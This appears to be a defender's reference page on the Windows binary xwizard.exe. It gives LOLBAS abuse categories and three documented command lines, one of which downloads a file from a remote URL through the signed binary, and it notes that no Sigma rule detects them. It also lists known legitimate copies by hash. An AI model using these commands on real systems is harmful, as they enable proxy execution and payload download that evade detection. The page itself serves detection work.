Identifier / Programs / Windows
xwizard.exe
Extensible Wizards Host Process file version info (xCyclopedia)
LOLBAS Execute, Download 1 Sigma rule name it 3 ATT&CK techniques 3 documented commands 12 known copies with hashes
How xwizard.exe is abused
Execute T1218 System Binary Proxy Execution
runwizard
Download T1105 Ingress Tool Transfer
runwizard
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for xwizard.exe.
3 documented commands
Execute T1218 System Binary Proxy Execution User privileges
Xwizard.exe running a custom class that has been added to the registry.
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}Execute T1218 System Binary Proxy Execution User privileges
Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.
xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}Download T1105 Ingress Tool Transfer User privileges
Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for xwizard.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for xwizard.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real xwizard.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\xwizard.exe · signed by Microsoft Windows
0c2a3bf4f3ed998f6a50f34785e1838dd3fcc346f6b87093ade8e63c0d97d1a410.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\xwizard.exe · signed by Microsoft Windows
6c5682825fc79c50d3b3e59d032b754f927858ac52f1525edfe6457e721bb60d10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\xwizard.exe · signed by Microsoft Windows
03b63fd1ab52129733f576554de9540d3f5e224405837a3d1adf5c0a68b1d21b10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\xwizard.exe · signed by Microsoft Windows
4359c82a6760d717ec367bc80b1a70e149bf7e197ea45c1188a4826570b96c5010.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\xwizard.exe · signed by Microsoft Windows
e3ab3499add8be055df9741da2dc5e21c6b00f9a8344999808fddf48025df03110.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\xwizard.exe · signed by Microsoft Windows
e8c5ab5c641d902d7ed9cbea6434a218728a7d4a07f7c330975c4f66ec7ae45310.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\xwizard.exe · signed by Microsoft Windows
5ce0b07dbc12f4f9263376047a7a2f269958df61e1510ac3b817796410cc2b0010.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\xwizard.exe · signed by Microsoft Windows
b0c08a32f7f9ff3696dfeb67924d873604f20d7561a0800f39148c7b8255271010.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\xwizard.exe · signed by Microsoft Windows
16065d6fa9502fe13e8fc1e8ed2fc07842f33e45d19c369c721dfcad9aef5a2810.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\xwizard.exe · signed by Microsoft Windows
aea9116467138fde0fde0fd50c61ef1258b551ae1b64b2df6bbcce11467df41c6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\xwizard.exe · not signed
1ff04f65e3e09b6f960aed6c7a88c51fee58abc37d05848f4248ce409b0187416.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\xwizard.exe · not signed
90c0d77a160c70512cf2247f8b623bfaef562b0ddb367cba55436a01749128c7From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.